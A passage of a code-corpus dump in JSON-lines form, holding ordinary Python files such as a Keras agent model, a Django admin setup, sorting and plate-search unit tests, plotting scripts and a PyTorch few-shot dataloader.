meta={\"item\": response.meta[\"item\"]}\n )\n\n\n\n","sub_path":"scrapy_tutorial/jd/jd/spiders/jdbook.py","file_name":"jdbook.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"294905441","text":"import tensorflow as tf\n\n\nclass AgentModel(tf.keras.Model):\n def __init__(self, num_actions, hidden_units, num_states):\n super(AgentModel, self).__init__()\n\n # input layer\n self.input_layer = tf.keras.layers.InputLayer(input_shape=())\n\n self.hidden_layers = []\n for i in hidden_units:\n self.hidden_layers.append(tf.keras.layers.Dense(i, activation='tanh', kernel_initializer='RandomNormal'))\n self.output_layer = tf.keras.layers.Dense(num_actions, activation=\"linear\", kernel_initializer='RandomNormal')\n\n @tf.function\n def call(self, input_shape):\n # Build the network from the selected layers with the correct layer shape\n z = self.input_layer(input_shape)\n for layer in self.hidden_layers:\n z = layer(z)\n output = self.output_layer(z)\n return output\n","sub_path":"gamestate_agent/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"48615138","text":"import numpy as np\nimport pickle\nfrom matplotlib import pyplot as plt\n\ndef error_plots(exp, hermite_errors, ordinary_errors, parval, mapping, threshold):\n errors = [hermite_errors, ordinary_errors]\n points = np.arange(0, parval, 1)\n titles = ['L1 norm error', 'L2 norm error', 'Precision', 'Recall', 'Accuracy', 'F1 score']\n file_name = ['_error_L1', '_error_L2', '_precision', '_recall', '_accuracy', '_F1']\n space = ['Hermite', 'Ordinary']\n\n for sp in range(len(space)):\n for fn in range(len(file_name)):\n fig = plt.figure()\n ax = fig.gca()\n for th in range(threshold.shape[0]):\n if (th == 0):\n plt.plot(points, errors[sp][th][fn], 'bo--', label = 'No threshold')\n else:\n plt.plot(points, errors[sp][th][fn], label='threshold ' + str(threshold[th]))\n plt.title(titles[fn] + ' in ' + space[sp] + ' space in 2D')\n plt.grid()\n ax.set_xticks(points)\n plt.xticks(points, mapping)\n plt.legend(bbox_to_anchor = (1.05, 1), loc = 2, borderaxespad = 0.)\n plt.savefig('./' + exp + '/plots/' + space[sp] + file_name[fn]+ '.pdf', format = 'pdf', bbox_inches='tight')\n plt.close()\n","sub_path":"2dcode/error_plots.py","file_name":"error_plots.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"95136363","text":"# pylint:disable=missing-docstring, invalid-name\n\nfrom json import loads\n\nfrom tests.base import BaseCase\n\n\nclass TestWelcome(BaseCase):\n \"\"\"\n Welcome resource tests.\n \"\"\"\n\n def test_welcome(self):\n response = self.client.get('/')\n expected = {\n 'status': 'success',\n 'data': {\n 'message': 'Welcome to Real Estate Manager.'\n }\n }\n self.assertEqual(expected, loads(response.data))\n self.assertEqual(200, response.status_code)\n","sub_path":"tests/test_views/test_welcome.py","file_name":"test_welcome.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"348420168","text":"from django.contrib import admin\nfrom .models import *\n\n# Register your models here.\n\n\nclass SkillAdmin(admin.ModelAdmin):\n list_display = ('name', 'insufficient', 'weak', 'aimed_at', 'beyond', 'course', 'number_eval', 'slug')\n list_filter = ('course', )\n ordering = ('name', 'course', 'number_eval')\n search_fields = ('name', )\n\n fieldsets = (\n # Fieldset 1 : meta-info (titre, auteur…)\n ('General', {\n 'classes': ['collapse', ],\n 'fields': ('name', 'course', 'number_eval', 'slug')\n }),\n # Fieldset 2 : subsidiaires\n ('This skill evaluates : ', {\n 'fields': ('insufficient', 'weak', 'aimed_at', 'beyond')\n }),\n )\n\n prepopulated_fields = {'slug': ('name',), }\n\n\nclass SessionAdmin(admin.ModelAdmin):\n list_display = ('date', 'course', 'number_eval', 'slug')\n list_filter = ('course', )\n date_hierarchy = 'date'\n ordering = ('date', 'course', 'number_eval')\n search_fields = ('course', )\n\n fieldsets = (\n # Fieldset 1 : meta-info (titre, auteur…)\n ('General informations', {\n 'fields': ('date', 'course', 'number_eval', 'slug')\n }),\n )\n\n\nclass CourseAdmin(admin.ModelAdmin):\n list_display = ('name', 'slug')\n list_filter = ('professors', 'students')\n ordering = ('name', )\n search_fields = ('name', )\n\n fieldsets = (\n # Fieldset 1 : meta-info (titre, auteur…)\n ('General informations', {\n 'classes': ['collapse', ],\n 'fields': ('name', 'professors', 'slug')\n }),\n # Fieldset 2 : subsidiaires\n ('List of students', {\n 'fields': ('students',)\n }),\n )\n\n prepopulated_fields = {'slug': ('name',), }\n\n\nclass SKillEvalAdmin(admin.ModelAdmin):\n list_display = ('skill', 'level', 'eval', 'comment')\n list_filter = ('skill',)\n ordering = ('level', 'skill')\n search_fields = ('skill', )\n\n fieldsets = (\n # Fieldset 1 : meta-info (titre, auteur…)\n (\"Contenu de l'évaluation\", {\n 'classes': [\"collapse\", ],\n 'fields': ('skill', 'level', 'eval', 'comment')\n }),\n\n )\n\n\nclass EvaluationAdmin(admin.ModelAdmin):\n list_display = ('session', 'concerned', 'general', 'teacher')\n list_filter = ('concerned', 'teacher')\n ordering = ('concerned', )\n search_fields = ('concerned', 'teacher')\n\n fieldsets = (\n # Fieldset 1 : meta-info (titre, auteur…)\n (\"Contenu de l'évaluation\", {\n 'classes': [\"collapse\", ],\n 'fields': ('session', 'concerned', 'general', 'teacher')\n }),\n )\n\n\nadmin.site.register(Skill, SkillAdmin)\nadmin.site.register(Session, SessionAdmin)\nadmin.site.register(Course, CourseAdmin)\nadmin.site.register(SkillEvaluation, SKillEvalAdmin)\nadmin.site.register(Evaluation, EvaluationAdmin)\n\n\n\n","sub_path":"xprof/teacher_access/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"129148953","text":"def find_smallest(arr):\n \"\"\"Функция находит наименьший элемент в списке\"\"\"\n smallest = arr[0]\n smallest_index = 0\n for i, el in enumerate(arr[1:], start=1):\n if arr[i] < smallest:\n smallest = arr[i]\n smallest_index = i\n return smallest_index\n\n\ndef selection_sort(arr):\n \"\"\"Функция возвращает отсортированный массив\"\"\"\n new_arr = []\n for i in range(len(arr)):\n smallest = find_smallest(arr)\n new_arr.append(arr.pop(smallest))\n return new_arr\n\n\nprint(selection_sort([5, 6, 3, 2, 7, 8, 1]))\n\n","sub_path":"polygon/grokking_algorithms/selection_sort.py","file_name":"selection_sort.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"464785149","text":"\"\"\"\ntests.py\nA module of unit tests to verify your answers\nDon't be too worried if you can't understand how they work.\nYou should be able to understand the output though...\nWe recommend starting testing yourself with small lists of values\nso that you can work out the expected result list and expected number\nof comparisons by hand.\n\nThese unit tests aren't going to be that useful for debugging!\n\"\"\"\n\nimport unittest\nimport math\nimport time\nimport utilities\n\nfrom classes import NumberPlate\nfrom stats import StatCounter\nfrom linear_finder import simple_linear_plate_finder\nfrom binary_finder import simple_binary_plate_finder\n\nTEST_FOLDER = './test_data/'\nTEST_FILE_TEMPLATE = '{n_stolen}-{n_sighted}-{n_matches}-{seed}.txt'\nDEF_SEED = 'a' # default seed\n\nreal_comparisons = StatCounter.get_comparisons\n\n\n\nclass TypeAssertion(object):\n\n def assertTypesEqual(self, a, b):\n if type(a) != type(b):\n template = \"Type {} does not match type {}\"\n error_msg = template.format(type(a), type(b))\n raise AssertionError(error_msg)\n\n\nclass BaseTestMethods(unittest.TestCase, TypeAssertion):\n\n def get_bounds(self, left_length, right_length):\n raise NotImplementedError(\"This method should be \"\n \"implemented by a subclass.\")\n\n def use_sorted_stolen(self):\n \"\"\" The binary test subclass will over write this method\n with one that returns True so that the stolen list\n is sorted before the test is run \"\"\"\n return False\n\n def base_filename(self, n_stolen, n_sighted, n_matches, seed=DEF_SEED):\n if self.use_sorted_stolen():\n n_stolen = str(n_stolen) + 's'\n return TEST_FILE_TEMPLATE.format(n_stolen=n_stolen,\n n_sighted=n_sighted,\n n_matches=n_matches,\n seed=seed)\n\n def check_comparisons_within_bounds(self, student_count, n_stolen, n_sighted, n_matches):\n lower, upper = self.get_bounds(n_stolen, n_sighted, n_matches)\n if not lower <= student_count <= upper:\n template = \"{} is not in range {}-{}\"\n error = template.format(student_count, lower, upper)\n raise AssertionError(error)\n # else everything is fine so do nothing\n\n def plates_test(self, n_stolen, n_sighted, n_matches, seed=DEF_SEED):\n \"\"\" Test that the given matching_function returns the correct\n result for the file specified by test_file_name.\n \"\"\"\n base_file = self.base_filename(n_stolen, n_sighted, n_matches, seed)\n stolen, sightings, expected_list = utilities.read_dataset(\n TEST_FOLDER + base_file)\n\n start = time.perf_counter()\n student_answer, comps = self.matching_function(stolen, sightings)\n end = time.perf_counter()\n delta = end - start\n print('{}, c={}, {:.4f}s'.format(base_file, comps, delta), end=' ... ')\n\n self.assertEqual(student_answer, expected_list)\n if len(student_answer) > 0:\n self.assertTypesEqual(student_answer[0], expected_list[0])\n\n def comparisons_test(self, n_stolen, n_sighted, n_matches,\n expected=None, seed=DEF_SEED):\n \"\"\" Test that the number of comparisons that the student made is\n within the expected bounds (provided by self.get_bounds, or expected)\n \"\"\"\n base_file = self.base_filename(n_stolen, n_sighted, n_matches, seed)\n stolen, sighted, _ = utilities.read_dataset(TEST_FOLDER + base_file)\n\n start = time.perf_counter()\n _, student_count = self.matching_function(stolen, sighted)\n end = time.perf_counter()\n delta = end - start\n print('{}, c={}, {:.4f}s'.format(\n base_file, student_count, delta), end=' ... ')\n\n if expected is not None:\n self.assertEqual(student_count, expected)\n else:\n self.check_comparisons_within_bounds(student_count,\n len(stolen),\n len(sighted),\n n_matches)\n\n def internal_comparisons_test(self,\n n_stolen,\n n_sighted,\n n_matches,\n quiet=False,\n seed=DEF_SEED):\n \"\"\" Test that the student has correctly counted the code against what\n we have counted. This does not mean that the count is correct, just\n that it was correctly counted.\n setting quiet = True means the feedback summary won't be printed,\n which is useful if using along with standard comparisons in\n a single test case.\n \"\"\"\n base_file = self.base_filename(n_stolen, n_sighted, n_matches, seed)\n (stolen, sighted, _) = utilities.read_dataset(TEST_FOLDER + base_file)\n\n start = time.perf_counter()\n _, student_count = self.matching_function(stolen, sighted)\n end = time.perf_counter()\n delta = end - start\n\n # prints student comparisons and time taken\n template = '{}, c={}, {:.4f}s'\n feedback = template.format(base_file, student_count, delta)\n if not quiet:\n print(feedback, end=' ... ')\n\n self.assertEqual(student_count, real_comparisons())\n\n\nclass BaseTester(BaseTestMethods):\n\n def setUp(self):\n \"\"\"Runs before every test case\"\"\"\n StatCounter.reset_comparisons()\n\n\n\n\nclass TinyTests(BaseTester):\n\n #== Tests with a trivially tiny dataset ==#\n def test_010_tiny(self):\n n_stolen, n_sighted, n_matches = 2, 5, 1\n self.plates_test(n_stolen, n_sighted, n_matches)\n\n def test_020_tiny_comps(self):\n n_stolen, n_sighted, n_matches = 2, 5, 1\n self.comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_030_tiny_internal_comps(self):\n n_stolen, n_sighted, n_matches = 2, 5, 1\n self.internal_comparisons_test(n_stolen, n_sighted, n_matches)\n\n\nclass SmallTests(BaseTester):\n\n def test_010_small_no_common(self):\n n_stolen, n_sighted, n_matches = 10, 5, 0\n self.plates_test(n_stolen, n_sighted, n_matches)\n\n def test_020_small_no_common_comps(self):\n n_stolen, n_sighted, n_matches = 10, 5, 0\n self.comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_030_small_no_common_internal_comps(self):\n n_stolen, n_sighted, n_matches = 10, 5, 0\n self.internal_comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_small_some_common(self):\n n_stolen, n_sighted, n_matches = 5, 10, 2\n self.plates_test(n_stolen, n_sighted, n_matches)\n\n def test_small_some_common_comparisons(self):\n n_stolen, n_sighted, n_matches = 5, 10, 2\n self.comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_small_some_common_internal_comparisons(self):\n n_stolen, n_sighted, n_matches = 5, 10, 2\n self.internal_comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_small_all_common(self):\n n_stolen, n_sighted, n_matches = 5, 10, 5\n self.plates_test(n_stolen, n_sighted, n_matches)\n\n def test_small_all_common_comparisons(self):\n n_stolen, n_sighted, n_matches = 5, 10, 5\n self.comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_small_all_common_internal_comparisons(self):\n n_stolen, n_sighted, n_matches = 5, 10, 5\n self.internal_comparisons_test(n_stolen, n_sighted, n_matches)\n\n\nclass MediumTests(BaseTester):\n\n def test_medium_some_common(self):\n n_stolen, n_sighted, n_matches = 100, 1000, 10\n self.plates_test(n_stolen, n_sighted, n_matches)\n\n def test_medium_some_common_comparisons(self):\n n_stolen, n_sighted, n_matches = 100, 1000, 10\n self.comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_medium_some_common_internal_comparisons(self):\n n_stolen, n_sighted, n_matches = 100, 1000, 10\n self.internal_comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_medium_all_common(self):\n n_stolen, n_sighted, n_matches = 100, 1000, 100\n self.plates_test(n_stolen, n_sighted, n_matches)\n\n def test_medium_all_common_comparisons(self):\n n_stolen, n_sighted, n_matches = 100, 1000, 100\n self.comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_medium_all_common_internal_comparisons(self):\n n_stolen, n_sighted, n_matches = 100, 1000, 100\n self.internal_comparisons_test(n_stolen, n_sighted, n_matches)\n\n\n\n\nclass LargeTestsV1(BaseTester):\n\n def test_010_large_no_common(self):\n n_stolen, n_sighted, n_matches = 1000, 1000, 0\n self.plates_test(n_stolen, n_sighted, n_matches)\n\n def test_020_large_no_common_comparisons(self):\n n_stolen, n_sighted, n_matches = 1000, 1000, 0\n self.comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_030_large_no_common_internal_comparisons(self):\n n_stolen, n_sighted, n_matches = 1000, 20000, 0\n self.internal_comparisons_test(n_stolen, n_sighted, n_matches)\n\n\nclass LargeTestsV2(BaseTester):\n\n def test_large_some_common(self):\n n_stolen, n_sighted, n_matches = 100, 1000, 100\n self.plates_test(n_stolen, n_sighted, n_matches)\n\n def test_large_some_common_comparisons(self):\n n_stolen, n_sighted, n_matches = 100, 1000, 100\n self.comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_large_some_common_internal_comparisons(self):\n n_stolen, n_sighted, n_matches = 100, 1000, 100\n self.internal_comparisons_test(n_stolen, n_sighted, n_matches)\n\n\nclass LargeTestsV3(BaseTester):\n\n def test_large_all_common(self):\n n_stolen, n_sighted, n_matches = 1000, 1000, 1000\n self.plates_test(n_stolen, n_sighted, n_matches)\n\n def test_large_all_common_internal_comparisons(self):\n n_stolen, n_sighted, n_matches = 1000, 1000, 1000\n self.comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_large_all_common_comparisons(self):\n n_stolen, n_sighted, n_matches = 1000, 1000, 1000\n self.internal_comparisons_test(n_stolen, n_sighted, n_matches)\n\n\nclass HugeTestsV1(BaseTester):\n\n def test_huge_none_common(self):\n n_stolen, n_sighted, n_matches = 10000, 20000, 0\n self.plates_test(n_stolen, n_sighted, n_matches)\n\n def test_huge_none_common_internal_comparisons(self):\n n_stolen, n_sighted, n_matches = 10000, 20000, 0\n self.comparisons_test(n_stolen, n_sighted, n_matches)\n\n def test_huge_none_common_comparisons(self):\n n_stolen, n_sighted, n_matches = 10000, 20000, 0\n self.internal_comparisons_test(n_stolen, n_sighted, n_matches)\n\n\nclass BaseTestLinear(BaseTester):\n \"\"\" Unit tests for the sequential plate finder.\n Overrides the setUp method to set the macthing function.\n Overrides the get_bounds method to give bounds for linear search version.\n \"\"\"\n\n def setUp(self):\n super().setUp()\n self.matching_function = simple_linear_plate_finder\n\n def get_bounds(self, stolen, seen, matches):\n \"\"\" Note this range is very generous!\n The exact tests will give you a better idea of how\n well your linear function is working\n \"\"\"\n if stolen == matches and stolen < seen:\n lower = matches\n else:\n lower = seen\n return lower, seen * stolen\n\n\n# The following inherit all the base tests and use the methods given in\n# the BaseTestBinary class.\n# Basically it says which function to test and which bounds to use\n# as well as saying to use the files with sorted stolen plates\n# which are obviously needed to be able to do binary searching\n\n\n\nclass TinyLinear(BaseTestLinear, TinyTests):\n pass\n\n\nclass SmallLinear(BaseTestLinear, SmallTests):\n pass\n\n\nclass LargeLinearV1(BaseTestLinear, LargeTestsV1):\n pass\n\n\nclass LargeLinearV2(BaseTestLinear, LargeTestsV2):\n pass\n\n\nclass LargeLinearV3(BaseTestLinear, LargeTestsV3):\n pass\n\n\nclass HugeLinearV1(BaseTestLinear, HugeTestsV1):\n pass\n\n\n# Here we do some extra tests with known values\nclass SmallLinearExact(BaseTestLinear):\n\n def test_010_tiny_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 2, 5, 2, 9\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_020_small_no_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 10, 10, 0, 100\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_030_small_some_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 10, 10, 5, 81\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_040_small_all_common_comps_exact(self):\n n_stolen, n_sighted, n_matches = 10, 10, 10\n expected = n_stolen * (n_stolen + 1) // 2\n # can you see why expected must be given by the formula above in this case?\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_045_small_all_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 2, 10, 2, 15\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_048_small_all_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 5, 10, 5, 35\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_050_small2_no_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 10, 100, 0, 1000\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_060_small2_some_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 10, 100, 2, 988\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_070_small2_all_common_comps_exact(self):\n n_stolen, n_sighted, n_matches = 100, 100, 100\n expected = n_stolen * (n_stolen + 1) // 2\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_080_small3_all_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 10, 1000, 10, 9405\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n\nclass MediumLinearExact(BaseTestLinear):\n\n def test_010_medium_no_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 100, 1000, 0, 100000\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_020_medium_some_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 100, 1000, 5, 99647\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_030_medium_all_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 100, 1000, 100, 91050\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n\n\n\nclass LargeLinearExact(BaseTestLinear):\n\n def test_010_large_no_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 10000, 20000, 0, 200000000\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_020_large_some_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 10000, 20000, 1000, 194970008\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n def test_030_large_all_common_comps_exact(self):\n n_stolen, n_sighted, n_matches, expected = 1000, 20000, 1000, 19077500\n self.comparisons_test(n_stolen, n_sighted, n_matches, expected)\n StatCounter.reset_comparisons()\n self.internal_comparisons_test(\n n_stolen, n_sighted, n_matches, quiet=True)\n\n\nclass BaseTestBinary(BaseTester):\n \"\"\" Unit tests for the binary plate search function. \"\"\"\n\n def setUp(self):\n super().setUp()\n self.matching_function = simple_binary_plate_finder\n\n def get_bounds(self, n_stolen, n_sighted, n_matches):\n if n_stolen > 0:\n log_stolen = int(math.log(n_stolen, 2))\n if n_stolen == n_matches and n_stolen < n_sighted:\n lower = n_matches * (log_stolen + 1) - 2\n else:\n lower = n_sighted * (log_stolen + 1) - 2\n upper = n_sighted * (log_stolen + 2) + 2\n else:\n lower = 0\n upper = 0\n return lower, upper\n\n def use_sorted_stolen(self):\n \"\"\" Will use files with sorted stolen plates.\n For example: 10s-10-10-a.txt has the stolen plates in sorted order\n \"\"\"\n return True\n\n\n# The following classes inherit all the base tests and use the methods given in\n# the BaseTestBinary class.\n# Basically it says which function to test and which bounds to use\n# as well as saying to use the files with sorted stolen plates\n# which are obviously needed to be able to do binary searching\n\n\n\nclass TinyBinary(BaseTestBinary, TinyTests):\n pass\n\n\nclass SmallBinary(BaseTestBinary, SmallTests):\n pass\n\n\nclass LargeBinaryV1(BaseTestBinary, LargeTestsV1):\n pass\n\n\nclass LargeBinaryV2(BaseTestBinary, LargeTestsV2):\n pass\n\n\nclass LargeBinaryV3(BaseTestBinary, LargeTestsV3):\n pass\n\n\nclass HugeBinaryV1(BaseTestBinary, HugeTestsV1):\n pass\n\n\ndef all_tests_suite():\n \"\"\" Combines test cases from various classes to make a\n big suite of tests to run.\n You can comment out tests you don't want to run and uncomment\n tests that you do want to run :)\n \"\"\"\n suite = unittest.TestSuite()\n\n # suite.addTest(unittest.makeSuite(TinyLinear))\n # suite.addTest(unittest.makeSuite(SmallLinear))\n # suite.addTest(unittest.makeSuite(LargeLinearV1))\n # suite.addTest(unittest.makeSuite(LargeLinearV2))\n # suite.addTest(unittest.makeSuite(LargeLinearV3))\n # suite.addTest(unittest.makeSuite(HugeLinearV1))\n # suite.addTest(unittest.makeSuite(SmallLinearExact))\n # suite.addTest(unittest.makeSuite(MediumLinearExact))\n # suite.addTest(unittest.makeSuite(LargeLinearExact))\n\n # IMPORTANT NOTE <==================================================================\n # uncomment the following lines when your are ready for binary testing\n suite.addTest(unittest.makeSuite(TinyBinary))\n suite.addTest(unittest.makeSuite(SmallBinary))\n suite.addTest(unittest.makeSuite(LargeBinaryV1))\n suite.addTest(unittest.makeSuite(LargeBinaryV2))\n suite.addTest(unittest.makeSuite(LargeBinaryV3))\n suite.addTest(unittest.makeSuite(HugeBinaryV1))\n return suite\n\n\n\n\ndef main():\n \"\"\" Makes a test suite and runs it. Will your code pass? \"\"\"\n test_runner = unittest.TextTestRunner(verbosity=2)\n all_tests = all_tests_suite()\n test_runner.run(all_tests)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"1. Linear & Binary Search/student_files/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":20897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"2482026","text":"import mdtraj as md\n\nmanual_pdbs = ['TDIZ_A.pdb', 'TDIZ_B.pdb']\n\nf = open('templates/templates-resolved-seq.fa', 'w')\n\nfor pdb in manual_pdbs:\n traj = md.load('manual_pdbs/' + pdb)\n protein_atoms = traj.top.select('protein')\n traj = traj.atom_slice(protein_atoms)\n traj.save('templates/structures-resolved/KMT5A_HUMAN_%s.pdb' % pdb.split('.')[0])\n resolved_seq = traj.top.to_fasta()[0]\n f.write('\\n>KMT5A_HUMAN_%s\\n' % pdb.split('.')[0])\n f.write(resolved_seq)\n f.write('\\n')\n \nf.close()\n","sub_path":"APO/setup/SETD8_ensembler_26models/gather_manual_templates.py","file_name":"gather_manual_templates.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"228249560","text":"def argsort(seq):\n return sorted(range(len(seq)), key=seq.__getitem__)\n\ndef networkize(img, n_nodes=300, n_neigh=4, DY=0, n_rings=7):\n img.loadPixels()\n n_good = 0\n XX, YY, CC, RR = [], [], [], []\n while n_good < n_nodes:\n x = int(random(img.width))\n y = int(random(img.height))\n R = random(15, 80)\n ndx = y*img.width + x\n c = color(img.pixels[ndx])\n sat = saturation(c)\n if sat > -1:\n good = True\n for xx, yy in zip(XX, YY):\n d = dist(x, y, xx, yy)\n if d < 15 :\n good = False\n if good:\n XX.append(x)\n YY.append(y)\n CC.append(c)\n RR.append(R)\n n_good += 1\n \n for x, y, c, R in zip(XX, YY, CC, RR):\n r = red(c)\n g = green(c)\n b = blue(c)\n dists = []\n for xx, yy in zip(XX, YY):\n dists.append(dist(x,y,xx,yy))\n dists = argsort(dists)\n for dd in dists[:n_neigh]:\n xx = XX[dd]\n yy = YY[dd]\n cc = CC[dd]\n col = (int(0.5*(r+red(cc))), int(0.5*(g+green(cc))), int(0.5*(b+blue(cc))), 30)\n stroke(*col)\n strokeWeight(2)\n #line(x, y+DY, xx, yy+DY)\n \n for x, y, c, R in zip(XX, YY, CC, RR):\n r = red(c)\n g = green(c)\n b = blue(c)\n dr = R/n_rings\n \n for i in range(n_rings):\n a = random(255)\n stroke(r,g,b,a)\n strokeWeight(random(0,3))\n noFill()\n ellipse(x, y+DY, i*dr, i*dr)\n\n #stroke(0, 0)\n #strokeWeight(1.5)\n #fill(r,g,b,a)\n #ellipse(x, y+DY, R, R)\n img.updatePixels()\n","sub_path":"Citrate droplets/Network.py","file_name":"Network.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"604019682","text":"import os\nimport torch\nimport random\nimport pickle\nimport pandas as pd\nimport numpy as np\nfrom PIL import Image\nfrom torchvision import transforms, utils\nfrom torch.utils.data import Dataset, DataLoader\n\n#openImage = lambda x: Image.open(x)\n\ndef openImage(x):\n img = Image.open(x)\n if len(np.array(img).shape) != 3:\n print(x, len(np.array(img).shape))\n return img\n\nclass EpisodeDataset(Dataset):\n\n def __init__(self, data_root, phase='train', nway=5, kshot=1, kqry=15, transform=None, nepisode=100):\n\n self.data_root = data_root\n self.nway = nway\n self.kshot = kshot\n self.kqry = kqry\n self.nepisode = nepisode\n\n if phase == 'train':\n self.data_root += '/' + phase\n self.transform = transforms.Compose([openImage,\n transforms.Resize((84,84)),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]),\n ])\n else:\n self.data_root += '/' + phase\n self.transform = transforms.Compose([openImage,\n transforms.Resize((84,84)),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]),\n ])\n if transform != None:\n self.transform = transform\n\n classes = os.listdir(self.data_root)\n\n self.examples = {}\n for cls in classes:\n self.examples[cls] = [os.path.join(self.data_root, cls, filename) \\\n for filename in os.listdir(os.path.join(self.data_root, cls))]\n\n def __len__(self):\n return self.nepisode\n\n def __getitem__(self, idx):\n\n cls_selected = random.sample(self.examples.keys(), self.nway)\n\n spt = []\n qry = []\n for i, cls in enumerate(cls_selected):\n example_selected = random.sample(self.examples[cls], self.kshot+self.kqry)\n spt += [(i, example) for example in example_selected[:self.kshot]]\n qry += [(i, example) for example in example_selected[self.kshot:]]\n random.shuffle(spt)\n random.shuffle(qry)\n\n spt, qry = np.asarray(spt), np.asarray(qry)\n\n spt_label, spt_img = spt[:,0].astype(np.int64), spt[:,1]\n qry_label, qry_img = qry[:,0].astype(np.int64), qry[:,1]\n\n spt_label, qry_label = torch.from_numpy(spt_label), torch.from_numpy(qry_label)\n\n spt_img = torch.stack([self.transform(filename) for filename in spt_img])\n qry_img = torch.stack([self.transform(filename) for filename in qry_img])\n\n return (spt_img, spt_label), (qry_img, qry_label)\n\n\n","sub_path":"dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} 